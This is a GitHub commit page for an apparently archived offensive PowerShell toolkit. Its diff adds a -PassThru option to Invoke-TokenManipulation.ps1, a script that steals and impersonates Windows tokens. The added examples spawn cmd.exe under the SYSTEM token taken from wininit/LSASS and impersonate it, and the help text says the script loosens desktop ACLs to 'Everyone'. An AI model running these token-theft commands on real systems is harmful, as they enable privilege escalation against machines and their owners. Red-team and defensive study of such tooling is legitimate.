Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 4daac21

Browse files
author
Matt Graeber
committed
Merge pull request #56 from clymb3r/master
Added -PassThru to Invoke-TokenManipulation
2 parents 0ca33b0 + ba02a11 commit 4daac21

File tree

1 file changed

+35
-5
lines changed

1 file changed

+35
-5
lines changed

Exfiltration/Invoke-TokenManipulation.ps1

Lines changed: 35 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,8 @@ Author: Joe Bialek, Twitter: @JosephBialek
4949
License: BSD 3-Clause
5050
Required Dependencies: None
5151
Optional Dependencies: None
52-
Version: 1.1
52+
Version: 1.11
53+
(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe)
5354
5455
.DESCRIPTION
5556
@@ -106,6 +107,10 @@ If you are creating a process which doesn't need a UI to be rendered, use this f
106107
current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control
107108
to "Everyone".
108109
110+
.PARAMETER PassThru
111+
112+
If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline.
113+
109114
110115
.EXAMPLE
111116
@@ -151,6 +156,12 @@ Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Ge
151156
152157
.EXAMPLE
153158
159+
(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit()
160+
161+
Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited.
162+
163+
.EXAMPLE
164+
154165
Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser
155166
156167
Makes the current thread impersonate the lsass security token.
@@ -220,7 +231,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
220231

221232
[Parameter(ParameterSetName = "CreateProcess")]
222233
[Switch]
223-
$NoUI
234+
$NoUI,
235+
236+
[Parameter(ParameterSetName = "CreateProcess")]
237+
[Switch]
238+
$PassThru
224239
)
225240

226241
Set-StrictMode -Version 2
@@ -1549,7 +1564,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
15491564

15501565
[Parameter(Position=2)]
15511566
[String]
1552-
$ProcessArgs
1567+
$ProcessArgs,
1568+
1569+
[Parameter(Position=3)]
1570+
[Switch]
1571+
$PassThru
15531572
)
15541573
Write-Verbose "Entering Create-ProcessWithToken"
15551574
#Duplicate the token so it can be used to create a new process
@@ -1600,6 +1619,18 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
16001619
$ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION)
16011620
$CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null
16021621
$CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null
1622+
1623+
#Pass created System.Diagnostics.Process object to pipeline
1624+
if ($PassThru) {
1625+
#Retrieving created System.Diagnostics.Process object
1626+
$returnProcess = Get-Process -Id $ProcessInfo.dwProcessId
1627+
1628+
#Caching process handle so we don't lose it when the process exits
1629+
$null = $returnProcess.Handle
1630+
1631+
#Passing System.Diagnostics.Process object to pipeline
1632+
$returnProcess
1633+
}
16031634
}
16041635
else
16051636
{
@@ -1841,7 +1872,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
18411872
Set-DesktopACLs
18421873
}
18431874

1844-
Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs
1875+
Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru
18451876

18461877
Invoke-RevertToSelf
18471878
}
@@ -1880,4 +1911,3 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
18801911
#Start the main function
18811912
Main
18821913
}
1883-

0 commit comments

Comments
 (0)